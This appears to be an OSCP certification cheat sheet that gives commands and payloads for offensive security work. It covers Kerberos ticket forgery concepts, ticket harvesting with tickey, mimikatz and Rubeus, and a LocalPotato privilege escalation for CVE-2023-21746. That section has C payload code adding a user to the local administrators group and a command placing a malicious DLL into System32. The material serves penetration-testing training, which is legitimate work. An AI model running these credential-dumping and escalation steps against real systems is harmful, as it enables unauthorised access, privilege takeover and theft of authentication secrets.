OSCP Cheat Sheet

Commands, Payloads and Resources for the Offensive Security Certified Professional Certification.

Since this little project get's more and more attention, I decided to update it as often as possible to focus more helpful and absolutely necessary commands for the exam. Feel free to submit a pull request or reach out to me on Twitter for suggestions.

Every help or hint is appreciate it!

DISCLAIMER: A guy on Twitter got a point. Automatic exploitation tools like sqlmap are prohibited to use in the exam. The same goes for the automatic exploitation functionality of LinPEAS. I am not keeping track of current guidelines related to those tools. For that I want to point out that I am not responsible if anybody uses a tool without double checking the latest exam restrictions and fails the exam. Inform yourself before taking the exam!

I removed sqlmap because of the reasons above but Metasploit is still part of the guide because you can use it for one specific module. Thank you Muztahidul Tanim for making me aware and to Yeeb for the resources.

Here are the link to the OSCP Exam Guide and the discussion about LinPEAS. I hope this helps.

General Notes

Golden Ticket is a Ticket Granting Ticket (TGT) and completely forged offline (KRBTGT Account Hash needed).
Silver Ticket is a forged service authentication ticket (Service Principal Name (SPN) and Machine Account Keys (Hash in RC4 or AES) needed). Silver Tickets do not touch the Domain Controller (DC).
Diamond Ticket is essentially a Golden Ticket but requested from a Domain Controller (DC).

Harvest Tickets from Linux

Check Type and Location of Tickets

grep default_ccache_name /etc/krb5.conf

If none return, default is FILE:/tmp/krb5cc_%{uid}
In Case of File Tickets it is possible to Copy-Paste them to use them
In Case of being KEYRING Tickets, the Tool tickey can be used to get them
To dump User Tickets, if root, it is recommended to dump them all by injecting in other user processes
To inject, the Ticket have to be copied in a reachable Folder by all Users

cp tickey /tmp/tickey
/tmp/tickey -i

Harvest Tickets from Windows

mimikatz # sekurlsa::tickets /export
.\Rubeus dump

Convert Tickets dumped with Rubeus into base64

CVE-2023-21746: Windows NTLM EoP LocalPotato LPE

https://github.com/decoder-it/LocalPotato

https://github.com/blackarrowsec/redteam-research/tree/master/LPE%20via%20StorSvc

Modify the following file and build the solution.

StorSvc\RpcClient\RpcClient\storsvc_c.c

#if defined(_M_AMD64)

//#define WIN10
//#define WIN11
#define WIN2019
//#define WIN2022

Modify the following file and build the solution.

StorSvc\SprintCSP\SprintCSP\main.c

void DoStuff() {

    // Replace all this code by your payload
    STARTUPINFO si = { sizeof(STARTUPINFO) };
    PROCESS_INFORMATION pi;
    CreateProcess(L"c:\\windows\\system32\\cmd.exe",L" /C net localgroup administrators user /add",
        NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, L"C:\\Windows", &si, &pi);

    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    return;
}

First get the paths from the environment, then use LocalPotato to place the malicious DLL.

reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" -v Path
LocalPotato.exe -i SprintCSP.dll -o \Windows\System32\SprintCSP.dll

At least trigger StorSvc via RpcClient.exe.
